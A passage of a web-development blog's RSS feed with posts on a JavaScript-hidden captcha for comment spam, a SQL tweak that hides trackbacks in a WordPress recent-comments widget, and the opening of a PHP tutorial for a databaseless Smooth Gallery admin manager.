<p>I made this 5 minute screencast <a href="http://net.tutsplus.com/competitions/contests/earn-fame-and-fortune-in-the-nettutsscreenr-screencast-competition/">to earn fame and fortune on Nettuts</a>, but I&#8217;m also posting it here along with some textual comments. Figured I&#8217;d make it easier for you to copy/paste the whole 2 lines of JavaScript.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="560" height="345" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="flashvars" value="i=10502" /><param name="allowFullScreen" value="true" /><param name="src" value="http://screenr.com/Content/assets/screenr_0817090731.swf" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="560" height="345" src="http://screenr.com/Content/assets/screenr_0817090731.swf" allowfullscreen="true" flashvars="i=10502"></embed></object></p>
<p>Here&#8217;s what you start with, the source code from <a href="http://net.tutsplus.com/tutorials/php/build-your-own-captcha-and-contact-form/" title="Build Your Own Captcha and Contact Form">this tutorial</a>.<br />
(Note: be sure to have the Arial font file called arial.ttf in the fonts folder&#8211;copy it from your System in there because their archive does not come with it).</p>
<p>This is the JavaScript/PHP I&#8217;m pasting in:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;!--</span>	
	document.<span style="color: #660066;">getElementsByName</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'code'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span>.<span style="color: #660066;">value</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">'&lt;?php echo $string; ?&gt;'</span><span style="color: #339933;">;</span>
	document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'captcha'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">style</span>.<span style="color: #660066;">display</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">'none'</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #339933;">--&gt;</span>
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></div></div>

<p>Both lines of JavaScript work on elements from this chunk of HTML: </p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;captcha&quot;</span>&gt;</span>
	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">img</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;captcha.php&quot;</span><span style="color: #66cc66;">/</span>&gt;</span>
	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">p</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;code&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span> Are you human?<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">p</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span></pre></div></div>

<p>The first line of JavaScript sets the correct value for the code text field.<br />
And the second line of JavaScript sets <code>display:none</code> to the captcha div, thus hiding it from anyone with JavaScript enabled.</p>
<h3>Hidden Captcha instead of Akismet?</h3>
<p><span id="more-385"></span></p>
<p>I use the same Hidden Captcha concept on this site, where I installed a modified version of the <a href="http://wordpress.org/extend/plugins/simple-captcha/">Simple Captcha</a> WordPress plugin. But when you try to comment you don&#8217;t see any captcha requirement, do you? Not unless you have JavaScript disabled.</p>
<p>Since I&#8217;ve installed Simple Captcha, the Akismet spam count remained at 0 (zero).<br />
And this leads me to the Akismet <a href="http://www.hurricanesoftwares.com/are-you-banned-by-akismet-for-spaming/">false positives</a> issue. Where innocent comments can sometimes incorrectly show up as spam and get lost in the thousands of real spam comments.</p>
<blockquote><p><strong>How Spammers can play with Akismet system and get you banned?<br />
</strong><br />
Lets take an example of a blogger who wrote a harsh comment on other blogger’s website. Now the other blogger will take his identity (username, email and URL) and put them into a spam script (believe me there are plenty out there) and he will set the script to send out 100’s of comments/trackbacks to other blogs. Of course, most of these blog owners who got the ’spam’ would flag these comments as spam. This would result in your credentials being incorrectly marked as spam comments by hundreds of bloggers, thus ruining your expertise to promote your site.</p>
</blockquote>
<p>You can read the rest of that article on <a href="http://www.hurricanesoftwares.com/are-you-banned-by-akismet-for-spaming/">Mind Tree</a>.</p>
<p>Akismet is great and all, but man&#8230; I don&#8217;t want to send innocent people to the spam box.</p>
<p>So this Hidden Captcha system (easily implementable on any existing captcha system as seen in the screencast) can actually allow me to disable Akismet (thus eliminating the possibility of false positives) and keep actual spam comments away.<br />
No usability issues because of hard to read captchas&#8211;for most of the readers.<br />
And no accessability problems, because that small percent of humans without JavaScript enabled can still comment after filling in the Captcha code.</p>
<p><a class="highlighted" href="http://vileworks.com/projects/hidden_captcha/contact.php"><br />
Link to the demo</a>&#8211;you can also check it out with JavaScript disabled, and have a look at its source code.</p>


<!-- Begin SexyBookmarks Menu Code -->
<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-bg-enjoy">
<ul class="socials">
		<li class="sexy-twitter">
			<a href="http://twitter.com/home?status=PHP+Screencast%3A+Hidden+Captcha+-+http://b2l.me/bwrrb+(via+@nonsalant)" rel="nofollow" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="sexy-facebook">
			<a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://www.vileworks.com/php-screencast-hidden-captcha&amp;t=PHP+Screencast%3A+Hidden+Captcha" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="sexy-delicious">
			<a href="http://del.icio.us/post?url=http://www.vileworks.com/php-screencast-hidden-captcha&amp;title=PHP+Screencast%3A+Hidden+Captcha" rel="nofollow" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>
<!-- End SexyBookmarks Menu Code -->

<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.vileworks.com%2Fphp-screencast-hidden-captcha&amp;linkname=PHP%20Screencast%3A%20Hidden%20Captcha"><img src="http://www.vileworks.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.vileworks.com/php-screencast-hidden-captcha/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Exclude Trackbacks from Recent Comments Listing</title>
		<link>http://www.vileworks.com/exclude-trackbacks-from-recent-comments-listing</link>
		<comments>http://www.vileworks.com/exclude-trackbacks-from-recent-comments-listing#comments</comments>
		<pubDate>Mon, 17 Nov 2008 00:49:49 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.vileworks.com/?p=230</guid>
		<description><![CDATA[




To spare some time I tryed googleing for don&#8217;t show trackbacks in recent comments but wasn&#8217;t able to find anything relevant at first glance.
So, if you have the FreePress Recent Comments Widget and the long site titles from the trackbacks/pingbacks are breaking your design, here&#8217;s your quick tip from VileWorks:

go to Dasboard \ Plugins \ [...]]]></description>
			<content:encoded><![CDATA[



<p><a href="http://www.flickr.com/photos/44534236@N00/2989350043"><img title="Hobby" src="http://farm4.static.flickr.com/3069/2989350043_8d14fecce0_m.jpg" border="0" alt="PingPong" hspace="5" /></a><br />
To spare some time I tryed googleing for <q>don&#8217;t show trackbacks in recent comments</q> but wasn&#8217;t able to find anything relevant at first glance.</p>
<p>So, if you have the <a href="http://freepressblog.org/wordpress-plugins-2/wordpress-recent-comments-plugin-widget/">FreePress Recent Comments Widget</a> and the long site titles from the trackbacks/pingbacks are breaking your design, <strong>here&#8217;s your quick tip from VileWorks</strong>:</p>
<ul>
<li>go to Dasboard \ Plugins \ Recent Comments (edit)</li>
<li>find this line (line 234 in recentCommentsWidget.php):

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$request</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;AND comment_approved = '1' ORDER BY comment_ID DESC LIMIT <span style="color: #006699; font-weight: bold;">$limit</span>&quot;</span><span style="color: #339933;">;</span></pre></div></div>

</li>
<li>change it to:

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$request</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;AND comment_approved = '1' AND comment_type &amp;lt;&amp;gt; 'trackback' AND comment_type &amp;lt;&amp;gt; 'pingback' ORDER BY comment_ID DESC LIMIT <span style="color: #006699; font-weight: bold;">$limit</span>&quot;</span><span style="color: #339933;">;</span></pre></div></div>

</li>
</ul>
<p><span id="more-230"></span></p>
<p>What you&#8217;re doing is adding a condition in the mySQL query that the comment type should not be <code>trackback</code> nor <code>pingback</code> (trackbacks and pingbacks are also stored in the <code>wp_comments</code> table in the database).</p>
<p>Good luck!</p>
<p>PS: I don&#8217;t know about other <em>recent comments</em> plugins but this particular one offers a pretty useful <code>fp_get_recent_comments()</code> function you can call in your theme. Here&#8217;s what parameters you can pass into it:</p>
<blockquote>
<ul>
<li><strong>Number of comments to show:</strong> Total number of comments to display</li>
<li><strong>Number of words per comment excerpt:</strong> The first N words of the comment will be listed</li>
<li><strong>Max comments per post:</strong> This option is a “cap” to ensure that multiple posts are included in the list, even if all the recent comments were from a single post.</li>
<li><strong>Max letters per word:</strong> This option is to deal with long “words” in the comments (specifically raw URLs) that can interfere with the formating of the list, depending on the CSS rules applied.</li>
</ul>
</blockquote>
<p><strong>Update:</strong> <a href="http://www.rayfowler.org/">Ray Fowler</a> suggests in a <a href="http://www.vileworks.com/exclude-trackbacks-from-recent-comments-listing/comment-page-1#comment-615">comment below</a> filtering out the admin comments</p>
<blockquote><p>That way when I reply to a whole bunch of comments, I am not the only one showing up in the sidebar. Besides, I would rather highlight my guests rather than myself.</p></blockquote>
<p>I did this with my <em>recent comments widget</em> by adding the extra condition <code> and user_id !='1'</code>. Where 1 is the admin&#8217;s id.</p>
<p>So the original line</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$request</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;AND comment_approved = '1' ORDER BY comment_ID DESC LIMIT <span style="color: #006699; font-weight: bold;">$limit</span>&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>would become</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$request</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;AND comment_approved = '1' AND user_id  &amp;lt;&amp;gt; '1'  AND comment_type &amp;lt;&amp;gt; 'trackback' AND comment_type &amp;lt;&amp;gt; 'pingback' ORDER BY comment_ID DESC LIMIT <span style="color: #006699; font-weight: bold;">$limit</span>&quot;</span><span style="color: #339933;">;</span></pre></div></div>



<!-- Begin SexyBookmarks Menu Code -->
<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-bg-enjoy">
<ul class="socials">
		<li class="sexy-twitter">
			<a href="http://twitter.com/home?status=Exclude+Trackbacks+from+Recent+Comments+Listing+-+http://b2l.me/bwrrc+(via+@nonsalant)" rel="nofollow" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="sexy-facebook">
			<a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://www.vileworks.com/exclude-trackbacks-from-recent-comments-listing&amp;t=Exclude+Trackbacks+from+Recent+Comments+Listing" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="sexy-delicious">
			<a href="http://del.icio.us/post?url=http://www.vileworks.com/exclude-trackbacks-from-recent-comments-listing&amp;title=Exclude+Trackbacks+from+Recent+Comments+Listing" rel="nofollow" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>
<!-- End SexyBookmarks Menu Code -->

<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.vileworks.com%2Fexclude-trackbacks-from-recent-comments-listing&amp;linkname=Exclude%20Trackbacks%20from%20Recent%20Comments%20Listing"><img src="http://www.vileworks.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.vileworks.com/exclude-trackbacks-from-recent-comments-listing/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>PHP Tutorial: Build a Backend Manager for Smooth Gallery</title>
		<link>http://www.vileworks.com/php-tutorial-build-a-backend-manager-for-smooth-gallery</link>
		<comments>http://www.vileworks.com/php-tutorial-build-a-backend-manager-for-smooth-gallery#comments</comments>
		<pubDate>Mon, 13 Oct 2008 23:02:43 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[freebies]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[mootools]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[web development]]></category>

		<guid isPermaLink="false">http://www.vileworks.com/?p=85</guid>
		<description><![CDATA[








In this tutorial I&#8217;ll walk you through the steps involved in building a databaseless PHP admin section for Smooth Gallery.
When done, without much effort you should be able to adapt the code to fit any similar JavaScript image gallery(/slider/switcher/swapper&#8230; whatever).
So let&#8217;s take a look at it:

the manager (demo)
the gallery you&#8217;re managing


As mentioned on the manager [...]]]></description>
			<content:encoded><![CDATA[








<p>In this tutorial I&#8217;ll walk you through the steps involved in building a <em>databaseless</em> PHP admin section for <a title="JonDesign's SmoothGallery" href="http://smoothgallery.jondesign.net/">Smooth Gallery</a>.</p>
<p>When done, without much effort you should be able to <strong>adapt the code to fit any similar JavaScript image gallery</strong>(/slider/switcher/swapper&#8230; whatever).</p>
<p>So let&#8217;s take a look at it:</p>
<ul>
<li><a title="Smooth Gallery Manager" href="http://www.vileworks.com/projects/gallery_backend/manager.php" target="_blank" class="highlighted">the manager</a> (demo)</li>
<li><a title="Smooth Gallery Demo" href="http://www.vileworks.com/projects/gallery_backend/" target="_blank">the gallery you&#8217;re managing<br />
</a></li>
</ul>
<div id="attachment_90" class="wp-caption alignnone" style="width: 410px"><a href="http://www.vileworks.com/projects/gallery_backend/manager.php"><img class="size-full wp-image-90" title="Smooth Gallery Manager" src="http://www.vileworks.com/wp-content/uploads/2008/10/gallery_manager1.jpg" alt="Smooth Gallery Manager" width="400" height="366" /></a><p class="wp-caption-text">Smooth Gallery Manager</p></div>
<p>As mentioned on the manager page, the password is &#8220;demo&#8221; and you don&#8217;t have sweat about  removing/adding/reordering images—the manager in the demo resets the file to an initial input each time a user logs in.</p>
<p>For faster testing: right click some photo from the internet, select <em>copy image location</em> and paste it in the <em>Add New Item/Image location</em> field (that&#8217;s the only required field). Then press <strong>Add</strong>. Then in the <em>Edit Items</em> part copy and paste image locations from one item to another and then update it.</p>
<p>You might want to download the gallery + manager before continuing:</p>
<hr class="invisible" /><table style="border: 1px solid #CCC;"  cellpadding="3" width="100%">
  <tr>
    <td width="35">
      <a href="http://www.vileworks.com/?file_id=2"><img src="http://www.vileworks.com/wp-content/plugins/downloads-manager/img/icons/winzip.gif" alt="http://www.vileworks.com/wp-content/plugins/downloads-manager/img/icons/winzip.gif" /></a>
    </td>
    <td>
      <strong>download:</strong> <a class="highlighted" href="http://www.vileworks.com/?file_id=2">Smooth Gallery Manager</a> <small>(202.90KB)</small><br />
      <!--<strong>added</strong>:</b> 03/11/2008 -->
      <strong>clicks</strong>: 1687 <br />
      <strong>description</strong>: Databaseless PHP admin pannel for Smooth Gallery. <br />
    </td>
  </tr>
</table></p>
<hr class="invisible" />
<p>After you do, open up manager.php and follow along. Only the more important parts ware discussed below, the rest is commented in the file.</p>
<h3>So how come no databases?</h3>
<p>It&#8217;s an image gallery, it&#8217;s not gonna have thousands of entries. There&#8217;s not much justification in creating a database for 5-20 items. We&#8217;ll keep it all in the HTML.</p>
<p>And this will give us a chance to work with a really neat tool: <a title="HTML parser written in PHP" href="http://sourceforge.net/projects/simplehtmldom/">PHP Simple HTML DOM Parser</a>. This <strong>HTML parser written in PHP5+</strong> is going to save us a lot of work. And I think this won&#8217;t be the last you hear of it here on VileWorks.</p>
<h3>1. The logic behind it, in plain English</h3>
<p>We&#8217;re going to have a simple log in/log out functionality, we don&#8217;t want anyone who knows the manager&#8217;s URI to be able edit our gallery.<br />
After the <strong>log in</strong>, two main options will be available: <strong>add new item</strong> and <strong>edit existing items</strong>. &#8230;And a <strong>log out</strong> link.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span> logged in
	<span style="color: #b1b100;">if</span> received <span style="color: #0000ff;">'add item'</span>
		add the item<span style="color: #339933;">;</span>
	display <span style="color: #0000ff;">'add item'</span> form<span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> received <span style="color: #0000ff;">'update items'</span>
		update all the items<span style="color: #339933;">;</span>
	display <span style="color: #0000ff;">'update items'</span> form<span style="color: #339933;">;</span>
	display <span style="color: #0000ff;">'log out'</span> <span style="color: #990000;">link</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">else</span>
	display <span style="color: #0000ff;">'log in'</span> form<span style="color: #339933;">;</span></pre></div></div>

<p>The conditioned actions &#8220;<em>if received &#8216;add item&#8217; -&amp;gt; add the item</em>&#8221; and &#8220;<em>if received &#8216;update items&#8217; -&amp;gt; update the items</em>&#8221; are placed in the code before their forms so that they will display a success or error message in the page just above the form that was submitted.</p>
<p>The &#8220;add new item&#8221; functionality will add a new item at the beginning of the gallery: the image along with its title, description and a link to another page.</p>
<p>The &#8220;update items&#8221; will allow us to:</p>
<ul>
<li>change the items&#8217; titles, descriptions, images and the URL the images link to</li>
<li>delete items</li>
<li>and to reorder the items</li>
</ul>
<p><span id="more-85"></span></p>
<h3>2. What&#8217;s the manager managing</h3>
<p>Let&#8217;s take a look at the HTML code of a regular SmoothGallery.</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">&lt;!-- some HTML code for the rest of the page --&gt;</span>
&nbsp;
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;myGallery&quot;</span>&gt;</span>
&nbsp;
	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;imageElement&quot;</span>&gt;</span>
		<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">h3</span>&gt;</span>Image 1 Title<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">h3</span>&gt;</span>
		<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">p</span>&gt;</span>Image 1 Description<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">p</span>&gt;</span>
		<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;open&quot;</span> <span style="color: #000066;">title</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;open image&quot;</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;1.html&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;</span>
		<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">img</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;full&quot;</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;images/image1.jpg&quot;</span> <span style="color: #000066;">alt</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span>
&nbsp;
	<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span>
&nbsp;
	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;imageElement&quot;</span>&gt;</span>
		<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">h3</span>&gt;</span>Image 2 Title<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">h3</span>&gt;</span>
		<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">p</span>&gt;</span>Image 2 Description<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">p</span>&gt;</span>
		<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;open&quot;</span> <span style="color: #000066;">title</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;open image&quot;</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;2.html&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;</span>
		<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">img</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;full&quot;</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;images/image1.jpg&quot;</span> <span style="color: #000066;">alt</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span>
	<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span>
&nbsp;
	<span style="color: #808080; font-style: italic;">&lt;!-- ... --&gt;</span>
&nbsp;
&nbsp;
	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;imageElement&quot;</span>&gt;</span>
		<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">h3</span>&gt;</span>Image n Title<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">h3</span>&gt;</span>
		<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">p</span>&gt;</span>Image n Description<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">p</span>&gt;</span>
		<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;open&quot;</span> <span style="color: #000066;">title</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;open image&quot;</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;n.html&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;</span>
		<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">img</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;full&quot;</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;images/n.jpg&quot;</span> <span style="color: #000066;">alt</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span>
	<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span>
&nbsp;
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span> <span style="color: #808080; font-style: italic;">&lt;!-- end of div#myGallery --&gt;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">&lt;!-- some more HTML code for the rest of the page --&gt;</span></pre></div></div>

<p>And this is a kind of a common way for JavaScript image galleries to store their data in the HTML although some might have small differences like using &amp;lt;li&amp;gt;&#8217;s instead of &amp;lt;div&amp;gt;&#8217;s for the item nodes (which I believe is a more semantic way).</p>
<p><strong>Note:</strong> The default Smooth Gallery also had a carousel displaying thumbnails of images. To keep things more general (and not just Smooth Gallery specific), the thumbnails will not be handled by the manager—they were also removed from the HTML—and the carousel was turned off in jd.gallery.js:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>34
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;">showCarousel<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #339933;">,</span></pre></td></tr></table></div>

<p>However, after getting an idea about how the whole thing works, through a small process of intuition the specific functionality could be easily added.</p>
<h3>3. Using the Simple HTML DOOM Parser to add a new element</h3>
<p>The &#8220;add new item&#8221; action will basically just add a new HTML node at the beginning of the gallery with the inputted details it received from the form.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$html</span> <span style="color: #339933;">=</span> file_get_html<span style="color: #009900;">&#40;</span><span style="color: #000088;">$gallery_location</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// store in the $items[] array all the maching elements</span>
<span style="color: #000088;">$items</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$html</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'#myGallery .imageElement'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #666666; font-style: italic;">//the argument can be any CSS selector</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// this only checks if the image url was received, the rest is optional</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'add-img-url'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#038;&amp; $_POST['add-img-url']!='') {
</span>		
	<span style="color: #666666; font-style: italic;">/* ADDING THE NEW ELEMENT */</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// creates a new element and then adds the default HTML in it</span>
	<span style="color: #666666; font-style: italic;">// (an empty title, description, link and image)	</span>
	<span style="color: #000088;">$temp_item</span><span style="color: #339933;">=</span><span style="color: #000000; font-weight: bold;">new</span> simple_html_dom<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$temp_item</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">load</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'
	&lt;div class=&quot;imageElement&quot;&gt;
		&lt;h3&gt;&lt;/h3&gt;
		&lt;p&gt;&lt;/p&gt;
		&lt;a href=&quot;#&quot; title=&quot;open image&quot; class=&quot;open&quot;&gt;&lt;/a&gt;
		&lt;img src=&quot;&quot; class=&quot;full&quot; /&gt;
		&lt;/div&gt;
	'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// get the received values and set them to the new element</span>
	<span style="color: #000088;">$temp_item</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'h3'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">innertext</span>	<span style="color: #339933;">=</span> <span style="color: #990000;">stripslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'add-title'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$temp_item</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'p'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">innertext</span>	<span style="color: #339933;">=</span> <span style="color: #990000;">stripslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'add-description'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
